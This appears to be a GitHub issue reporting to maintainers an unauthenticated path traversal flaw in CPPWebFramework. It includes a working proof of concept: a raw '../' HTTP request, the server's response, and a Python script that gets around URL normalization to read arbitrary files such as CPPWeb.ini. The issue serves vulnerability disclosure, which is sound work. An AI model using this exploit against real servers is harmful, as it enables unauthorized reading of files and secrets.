New issue

Unauthenticated Path Traversal vulnerability #40

Open

MatanSandori opened 2 weeks ago

Hello CPPWebFramework Maintainers,

I have identified an unauthenticated Path Traversal vulnerability in your project. Please find the detailed report below:

CPPWebFramework contains an unauthenticated Directory Traversal vulnerability. The framework concatenates user-supplied URLs directly with the web root path without sanitizing ../ sequences.

While the application utilizes a file-extension whitelist, attackers can bypass directory restrictions to read arbitrary files on the host system that share a whitelisted extension (e.g., .ini, .txt, .xml, .json, .zip, .php, .html, .rar, .doc, .pdf, .mp3, .mp4). This allows remote attackers to leak highly sensitive framework configuration files (such as CPPWeb.ini).

The vulnerability can be verified using the official Docker container provided by the developers.

```
sudo docker run -d -p 80:80 imacellone/cwf-helloworld:1.0

docker exec -it <container_id> bash
root@<container_id>:/# echo "Unauthenticated Arbitrary File Read via Path Traversal" >
/home/Test.txt
```

Proof of Concept (HTTP Request):

```
GET /../../../../home/Test.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
```

Proof of Concept (Response):

```
HTTP/1.1 200 OK
Content-Length: 55
Content-Type: text/txt; charset=UTF-8
Server: C++-Web-Server

Unauthenticated Arbitrary File Read via Path Traversal
```

Python PoC:

```
import requests

target = "http://127.0.0.1:80"
payload = "/../../home/Test.txt"

# Bypass requests automatic URL normalization
session = requests.Session()
req = requests.Request('GET', target + payload)
prep = req.prepare()
prep.url = target + payload

response = session.send(prep)

print(response.text)
```

```
python3 PoC.py
Unauthenticated Arbitrary File Read via Path Traversal
```

Sign up for free **to join this conversation on GitHub.** Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants